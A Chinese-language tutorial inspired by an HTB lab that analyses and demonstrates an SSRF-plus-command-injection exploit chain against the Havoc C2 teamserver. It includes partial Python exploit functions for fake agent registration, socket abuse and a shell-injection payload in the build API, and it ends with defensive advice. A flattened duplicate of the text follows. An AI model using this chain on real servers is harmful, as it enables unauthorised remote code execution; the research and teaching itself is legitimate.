HTB赛季靶场引发对Havoc SSRF+RCE组合漏洞的思考和研究
字数 1553 2025-08-22 12:23:19

Havoc C2 SSRF+RCE组合漏洞分析与利用教学

1. 漏洞概述

Havoc C2是一个开源的命令与控制框架,近期被发现存在两个关键漏洞的组合利用链:

  1. 未授权SSRF漏洞:允许攻击者通过精心构造的HTTP请求实现服务器端请求伪造
  2. 授权RCE漏洞:在生成payload时存在命令注入漏洞,可导致远程代码执行

这两个漏洞组合后可形成完整的攻击链,实现对Havoc C2服务器的完全控制。

2. 漏洞分析

2.1 未授权SSRF漏洞分析

2.1.1 漏洞触发流程

  1. ListenerStart函数:Havoc开启监听时调用,配置后调用Start()函数
  2. Start()函数:使用Gin框架设置路由,将所有POST请求映射到h.request
  3. request方法
    • 读取请求体到Body变量
    • 验证URI和User-Agent
    • 通过过滤后将Body传递给parseAgentRequest

2.1.2 关键数据结构

POST Body的数据结构:

[Size 4字节][Magic Value 4字节][Agent ID 4字节][Data]
  • Magic Value: 0xDEADBEEF (DEMON_MAGIC_VALUE)
  • DEMON_INIT: 99 (用于初始注册)

2.1.3 注册代理流程

  1. 当MagicValue匹配时,调用handleDemonAgent函数
  2. 当AgentID不存在时:
    • 读取Data前4字节赋予Command变量
    • 与DEMON_INIT(99)比较
    • 通过ParseDemonRegisterRequest创建Agent

2.1.4 SSRF触发点

在TaskDispatch函数中:

  • 检查IsKnownRequestID函数
  • 当CommandID为特定值时绕过RequestID检查
  • COMMAND_SOCKET(2540)分支可触发SSRF

2.1.5 Socket操作

  1. SOCKET_COMMAND_OPEN(16)
    • 创建端口转发结构
    • 添加到Agent的端口转发列表
  2. SOCKET_COMMAND_READ(11)
    • 调用PortFwdOpen创建TCP Socket
    • 使用net.Dial建立连接

2.2 授权RCE漏洞分析

2.2.1 漏洞位置

teamserver/pkg/common/builder/builder.go中的payload生成部分

2.2.2 漏洞原理

  1. 参数传入compilerOptions.Defines
  2. CompileCommand获取参数组成命令
  3. 传入CompileCmd函数执行
  4. 最终通过Cmd函数执行系统命令

3. 漏洞利用

3.1 SSRF利用

3.1.1 注册Agent

def register_agent(teamserver_url, aes_key, aes_iv, hostname, username, domain, internal_ip):
    agent_header = b""
    header_data = b""
    
    # 构造agent_header: size + magic_value + agent_id
    agent_header += int_to_bytes(12 + len(header_data), 4)  # size
    agent_header += int_to_bytes(0xDEADBEEF, 4)            # magic_value
    agent_header += int_to_bytes(0, 4)                     # agent_id
    
    # 构造header_data
    header_data += int_to_bytes(99, 4)                     # DEMON_INIT
    header_data += aes_key                                  # AESKey
    header_data += aes_iv                                   # AESIV
    # 添加其他注册信息...
    
    data = agent_header + header_data
    requests.post(teamserver_url, data=data)

3.1.2 开启Socket

def open_socket(teamserver_url, agent_id, target_ip, target_port):
    command = 2540  # COMMAND_SOCKET
    subcommand = 16  # SOCKET_COMMAND_OPEN
    
    # 构造IP和端口
    ip_parts = target_ip.split('.')
    reversed_ip = '.'.join(reversed(ip_parts))
    ip_bytes = bytes([int(part) for part in reversed_ip.split('.')])
    port_bytes = int_to_bytes(target_port, 2)
    
    # 构造数据包
    data = int_to_bytes(command, 4) + int_to_bytes(subcommand, 4) + ip_bytes + port_bytes
    # 发送请求...

3.1.3 写入Socket

def write_socket(teamserver_url, agent_id, socket_id, request_data):
    command = 2540  # COMMAND_SOCKET
    subcommand = 11  # SOCKET_COMMAND_READ
    socket_type = 3  # SOCKET_TYPE_CLIENT
    
    # 构造数据包
    data = (
        int_to_bytes(command, 4) +
        int_to_bytes(subcommand, 4) +
        int_to_bytes(socket_id, 4) +
        int_to_bytes(socket_type, 4) +
        int_to_bytes(1, 4) +  # success = TRUE
        request_data
    )
    # 发送请求...

3.2 RCE利用

3.2.1 命令注入

def exploit_rce(teamserver_url, auth_token, command):
    # 构造恶意payload
    injection = f'"; {command}; #'
    
    headers = {
        "Authorization": f"Bearer {auth_token}"
    }
    
    data = {
        "ServerName": injection,
        # 其他必要参数...
    }
    
    requests.post(f"{teamserver_url}/api/build", headers=headers, json=data)

3.3 组合利用链

  1. 通过SSRF将流量代理到teamserver本地的40056端口

  2. 构造HTTP升级为WebSocket的请求:

    GET /api/ws HTTP/1.1
    Host: localhost:40056
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==
    Sec-WebSocket-Version: 13
    
  3. 构造WebSocket帧发送RCE payload

4. 利用限制与注意事项

  1. 回显问题

    • Havoc通过job结构体返回结果
    • 协议升级后可能无法接收回显
  2. 协议升级限制

    • 默认使用wss协议(WebSocket over TLS)
    • 通过SSRF只能升级到ws协议(非加密)
    • 需要目标服务器打补丁降级为ws协议
  3. 利用前提

    • 40056端口需开在本地
    • 需要获取有效的账号密码
    • 服务器配置需允许协议降级

5. 防御建议

  1. 限制Teamserver的监听地址,避免暴露在公网
  2. 加强认证机制,使用强密码
  3. 监控异常的网络连接和进程创建
  4. 及时更新到修复版本
  5. 避免使用默认端口和配置

6. 参考资源

  1. Havoc C2 SSRF PoC
  2. Havoc RCE PoC
  3. S1Null师傅的利用脚本
Havoc C2 SSRF+RCE组合漏洞分析与利用教学 1. 漏洞概述 Havoc C2是一个开源的命令与控制框架,近期被发现存在两个关键漏洞的组合利用链: 未授权SSRF漏洞 :允许攻击者通过精心构造的HTTP请求实现服务器端请求伪造 授权RCE漏洞 :在生成payload时存在命令注入漏洞,可导致远程代码执行 这两个漏洞组合后可形成完整的攻击链,实现对Havoc C2服务器的完全控制。 2. 漏洞分析 2.1 未授权SSRF漏洞分析 2.1.1 漏洞触发流程 ListenerStart函数 :Havoc开启监听时调用,配置后调用Start()函数 Start()函数 :使用Gin框架设置路由,将所有POST请求映射到h.request request方法 : 读取请求体到Body变量 验证URI和User-Agent 通过过滤后将Body传递给parseAgentRequest 2.1.2 关键数据结构 POST Body的数据结构: Magic Value: 0xDEADBEEF (DEMON_ MAGIC_ VALUE) DEMON_ INIT: 99 (用于初始注册) 2.1.3 注册代理流程 当MagicValue匹配时,调用handleDemonAgent函数 当AgentID不存在时: 读取Data前4字节赋予Command变量 与DEMON_ INIT(99)比较 通过ParseDemonRegisterRequest创建Agent 2.1.4 SSRF触发点 在TaskDispatch函数中: 检查IsKnownRequestID函数 当CommandID为特定值时绕过RequestID检查 COMMAND_ SOCKET(2540)分支可触发SSRF 2.1.5 Socket操作 SOCKET_ COMMAND_ OPEN(16) : 创建端口转发结构 添加到Agent的端口转发列表 SOCKET_ COMMAND_ READ(11) : 调用PortFwdOpen创建TCP Socket 使用net.Dial建立连接 2.2 授权RCE漏洞分析 2.2.1 漏洞位置 teamserver/pkg/common/builder/builder.go 中的payload生成部分 2.2.2 漏洞原理 参数传入compilerOptions.Defines CompileCommand获取参数组成命令 传入CompileCmd函数执行 最终通过Cmd函数执行系统命令 3. 漏洞利用 3.1 SSRF利用 3.1.1 注册Agent 3.1.2 开启Socket 3.1.3 写入Socket 3.2 RCE利用 3.2.1 命令注入 3.3 组合利用链 通过SSRF将流量代理到teamserver本地的40056端口 构造HTTP升级为WebSocket的请求: 构造WebSocket帧发送RCE payload 4. 利用限制与注意事项 回显问题 : Havoc通过job结构体返回结果 协议升级后可能无法接收回显 协议升级限制 : 默认使用wss协议(WebSocket over TLS) 通过SSRF只能升级到ws协议(非加密) 需要目标服务器打补丁降级为ws协议 利用前提 : 40056端口需开在本地 需要获取有效的账号密码 服务器配置需允许协议降级 5. 防御建议 限制Teamserver的监听地址,避免暴露在公网 加强认证机制,使用强密码 监控异常的网络连接和进程创建 及时更新到修复版本 避免使用默认端口和配置 6. 参考资源 Havoc C2 SSRF PoC Havoc RCE PoC S1Null师傅的利用脚本